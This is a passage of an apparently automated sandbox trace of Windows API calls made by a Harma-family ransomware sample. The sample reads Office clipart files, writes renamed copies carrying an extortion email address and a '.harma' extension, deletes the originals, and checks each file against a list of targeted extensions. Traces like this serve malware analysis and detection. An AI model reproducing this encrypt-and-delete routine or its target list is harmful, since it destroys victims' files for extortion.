[0169.679] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0169.680] GetLastError () returned 0x0 [0169.680] ReadFile (in: hFile=0x370, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x864, lpOverlapped=0x0) returned 1 [0169.682] WriteFile (in: hFile=0x33c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x870, lpOverlapped=0x0) returned 1 [0169.683] ReadFile (in: hFile=0x370, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0169.683] WriteFile (in: hFile=0x33c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.683] SetEndOfFile (hFile=0x33c) returned 1 [0169.683] CloseHandle (hObject=0x33c) returned 1 [0169.683] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.683] SetEndOfFile (hFile=0x370) returned 1 [0169.685] CloseHandle (hObject=0x370) returned 1 [0169.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0169.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0169.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0169.687] lstrlenW (lpString=".doc") returned 4 [0169.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.687] lstrlenW (lpString=".docx") returned 5 [0169.687] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.687] lstrlenW (lpString=".pdf") returned 4 [0169.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.687] lstrlenW (lpString=".xls") returned 4 [0169.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.687] lstrlenW (lpString=".xlsx") returned 5 [0169.687] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.687] lstrlenW (lpString=".ppt") returned 4 [0169.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0169.687] lstrlenW (lpString=".zip") returned 4 [0169.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.687] lstrlenW (lpString=".rar") returned 4 [0169.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.687] lstrlenW (lpString=".bz2") returned 4 [0169.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.687] lstrlenW (lpString=".7z") returned 3 [0169.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0169.687] lstrlenW (lpString=".dbf") returned 4 [0169.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0169.687] lstrlenW (lpString=".1cd") returned 4 [0169.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0169.687] lstrlenW (lpString=".jpg") returned 4 [0169.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0169.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0169.688] lstrlenW (lpString=".doc") returned 4 [0169.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.688] lstrlenW (lpString=".docx") returned 5 [0169.688] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.688] lstrlenW (lpString=".pdf") returned 4 [0169.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.688] lstrlenW (lpString=".xls") returned 4 [0169.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.688] lstrlenW (lpString=".xlsx") returned 5 [0169.688] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.688] lstrlenW (lpString=".ppt") returned 4 [0169.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0169.688] lstrlenW (lpString=".zip") returned 4 [0169.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.688] lstrlenW (lpString=".rar") returned 4 [0169.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.688] lstrlenW (lpString=".bz2") returned 4 [0169.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.688] lstrlenW (lpString=".7z") returned 3 [0169.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0169.688] lstrlenW (lpString=".dbf") returned 4 [0169.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0169.689] lstrlenW (lpString=".1cd") returned 4 [0169.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0169.689] lstrlenW (lpString=".jpg") returned 4 [0169.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.689] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.689] lstrlenW (lpString="J0106816.WMF") returned 12 [0169.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.690] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3332) returned 1 [0169.690] CloseHandle (hObject=0x370) returned 1 [0169.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf")) returned 0x20 [0169.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.690] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.690] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0169.691] GetLastError () returned 0x0 [0169.691] ReadFile (in: hFile=0x370, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xd04, lpOverlapped=0x0) returned 1 [0169.714] WriteFile (in: hFile=0x33c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xd10, lpOverlapped=0x0) returned 1 [0169.715] ReadFile (in: hFile=0x370, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0169.715] WriteFile (in: hFile=0x33c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.715] SetEndOfFile (hFile=0x33c) returned 1 [0169.735] CloseHandle (hObject=0x33c) returned 1 [0169.735] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.735] SetEndOfFile (hFile=0x370) returned 1 [0169.738] CloseHandle (hObject=0x370) returned 1 [0169.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf")) returned 1 [0169.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0169.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0169.739] lstrlenW (lpString=".doc") returned 4 [0169.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.739] lstrlenW (lpString=".docx") returned 5 [0169.739] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.739] lstrlenW (lpString=".pdf") returned 4 [0169.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.739] lstrlenW (lpString=".xls") returned 4 [0169.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.740] lstrlenW (lpString=".xlsx") returned 5 [0169.740] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.740] lstrlenW (lpString=".ppt") returned 4 [0169.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0169.740] lstrlenW (lpString=".zip") returned 4 [0169.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.740] lstrlenW (lpString=".rar") returned 4 [0169.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.740] lstrlenW (lpString=".bz2") returned 4 [0169.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.740] lstrlenW (lpString=".7z") returned 3 [0169.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0169.740] lstrlenW (lpString=".dbf") returned 4 [0169.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0169.740] lstrlenW (lpString=".1cd") returned 4 [0169.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0169.740] lstrlenW (lpString=".jpg") returned 4 [0169.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0169.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0169.741] lstrlenW (lpString=".doc") returned 4 [0169.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.741] lstrlenW (lpString=".docx") returned 5 [0169.741] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.741] lstrlenW (lpString=".pdf") returned 4 [0169.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.741] lstrlenW (lpString=".xls") returned 4 [0169.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.741] lstrlenW (lpString=".xlsx") returned 5 [0169.741] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.741] lstrlenW (lpString=".ppt") returned 4 [0169.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0169.741] lstrlenW (lpString=".zip") returned 4 [0169.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.741] lstrlenW (lpString=".rar") returned 4 [0169.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.741] lstrlenW (lpString=".bz2") returned 4 [0169.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.741] lstrlenW (lpString=".7z") returned 3 [0169.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0169.742] lstrlenW (lpString=".dbf") returned 4 [0169.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0169.742] lstrlenW (lpString=".1cd") returned 4 [0169.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0169.742] lstrlenW (lpString=".jpg") returned 4 [0169.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.742] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.742] lstrlenW (lpString="J0107026.WMF") returned 12 [0169.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.743] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=7632) returned 1 [0169.743] CloseHandle (hObject=0x370) returned 1 [0169.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 0x20 [0169.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.744] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.744] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.747] GetLastError () returned 0x0 [0169.747] ReadFile (in: hFile=0x370, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1dd0, lpOverlapped=0x0) returned 1 [0169.842] WriteFile (in: hFile=0x330, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1de0, lpOverlapped=0x0) returned 1 [0169.843] ReadFile (in: hFile=0x370, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0169.843] WriteFile (in: hFile=0x330, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.843] SetEndOfFile (hFile=0x330) returned 1 [0169.843] CloseHandle (hObject=0x330) returned 1 [0169.843] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.843] SetEndOfFile (hFile=0x370) returned 1 [0169.846] CloseHandle (hObject=0x370) returned 1 [0169.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0169.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0169.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0169.847] lstrlenW (lpString=".doc") returned 4 [0169.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.847] lstrlenW (lpString=".docx") returned 5 [0169.847] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.847] lstrlenW (lpString=".pdf") returned 4 [0169.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.847] lstrlenW (lpString=".xls") returned 4 [0169.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.848] lstrlenW (lpString=".xlsx") returned 5 [0169.848] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.848] lstrlenW (lpString=".ppt") returned 4 [0169.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0169.848] lstrlenW (lpString=".zip") returned 4 [0169.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.848] lstrlenW (lpString=".rar") returned 4 [0169.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.848] lstrlenW (lpString=".bz2") returned 4 [0169.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.848] lstrlenW (lpString=".7z") returned 3 [0169.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0169.848] lstrlenW (lpString=".dbf") returned 4 [0169.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0169.848] lstrlenW (lpString=".1cd") returned 4 [0169.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0169.848] lstrlenW (lpString=".jpg") returned 4 [0169.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0169.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0169.849] lstrlenW (lpString=".doc") returned 4 [0169.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.849] lstrlenW (lpString=".docx") returned 5 [0169.849] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.849] lstrlenW (lpString=".pdf") returned 4 [0169.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.849] lstrlenW (lpString=".xls") returned 4 [0169.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.849] lstrlenW (lpString=".xlsx") returned 5 [0169.849] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.849] lstrlenW (lpString=".ppt") returned 4 [0169.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0169.849] lstrlenW (lpString=".zip") returned 4 [0169.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.849] lstrlenW (lpString=".rar") returned 4 [0169.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.849] lstrlenW (lpString=".bz2") returned 4 [0169.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.849] lstrlenW (lpString=".7z") returned 3 [0169.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0169.849] lstrlenW (lpString=".dbf") returned 4 [0169.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0169.850] lstrlenW (lpString=".1cd") returned 4 [0169.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0169.850] lstrlenW (lpString=".jpg") returned 4 [0169.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.850] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.850] lstrlenW (lpString="J0107090.WMF") returned 12 [0169.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0169.939] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=14132) returned 1 [0169.939] CloseHandle (hObject=0x3ac) returned 1 [0169.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 0x20 [0169.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0169.946] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.946] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.947] GetLastError () returned 0x0 [0169.947] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x3734, 